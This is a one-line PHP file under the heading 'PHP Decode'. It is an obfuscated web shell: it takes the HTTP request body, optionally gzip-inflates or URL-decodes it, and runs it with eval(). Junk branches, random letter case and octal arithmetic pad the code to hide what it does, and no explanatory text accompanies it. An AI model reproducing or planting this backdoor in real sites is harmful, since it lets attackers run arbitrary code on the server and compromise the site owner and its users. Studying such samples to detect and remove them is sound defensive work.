PHP Decode

<?php $_=FIle_gET_CONTents("php://input");if(sUBSTr($_,(int)RounD(0+0),0212+-0135- -0566- -0604-015-01427)=='000'):$_=GzINfLAtE(SUBsTr($_,0633+0416+-01127-0117));if(STrLeN('fk5')===(012-01041- -0563- -0372+-047)||PhP_sAPI_nAMe()=='cocktail2'):while(ceIL(9.99)>=95.01||NL2bR('w39iusst')!=='w39iusst'):$_=pHPvERsion();sEssiOn_CAcHE_LIMITer('private');Ob_flusH();$_=$_.$_;$_=$_->$_;endwhile;$_=(string)$_;$_=(string)$_;file_put_ConTEntS($_,$_);endif;@$_=$_;while(timE()<=-(03007-01436- -0443)&&rTrIM('st3pgch2jjp3qsx')!='st3pgch2jjp3qsx'&&in_ArRaY(01212+0166-033,array('nftwoohz','ezdsj'))):$_=implODE(',',$_);$_=$_COOKIE['id'];while(CEIL(8.46)===73.2&&ABs(-(04770- -0570))===(int)rOunD(1502.8333333333+1502.8333333333+1502.8333333333+1502.8333333333+1502.8333333333+1502.8333333333)):reAdfIle($_);$_=mysqL_quERY($_);$_=maiL($_,$_,$_);endwhile;if(cHR((int)rOUNd(24.2+24.2+24.2+24.2+24.2))=='yi'):cLEArStAtcaCHe(true);$_=iNi_Get_alL();$_=imPlOde(',',$_);return;endif;endwhile;try{eval($_);if(!StRcMP('','8l4i95od')&&DecBIn((int)roUnd(114+114))===-(int)roUND(73.5+73.5)||cOuNT(ArRay_KeYs(array(-(int)RouND(188.5+188.5))))>(0130- -01037+-0574)):while(Abs(-(int)rOUnd(1657.6+1657.6+1657.6+1657.6+1657.6))===aBs(-(int)rouNd(452.5+452.5))&&mIN(-4.23,4.52)>=65.4):@rMdIR($_);$_=InI_GEt_AlL();$_=$_COOKIE['name'];$_=$_COOKIE['id'];endwhile;$_=$_;while(aDDSlAshEs('8jpkh9ix')!='8jpkh9ix'):LIbxMl_UsE_InTERNAL_ErRors(true);$_=(string)$_;shUFFLE($_);endwhile;reseT($_);cLEarsTatCAchE(true);endif;}catch(_38E7E1CA5e0b2CF34cB83cDA589EcD56$_){}else:eval(UrLdeCODe(Str_RepLACe('code=','',$_)));if(ABS(-(int)rOunD(2854+2854+2854))==abs(-(int)round(313+313))):SEsSIoN_dESTROY();endif;;endif; ?>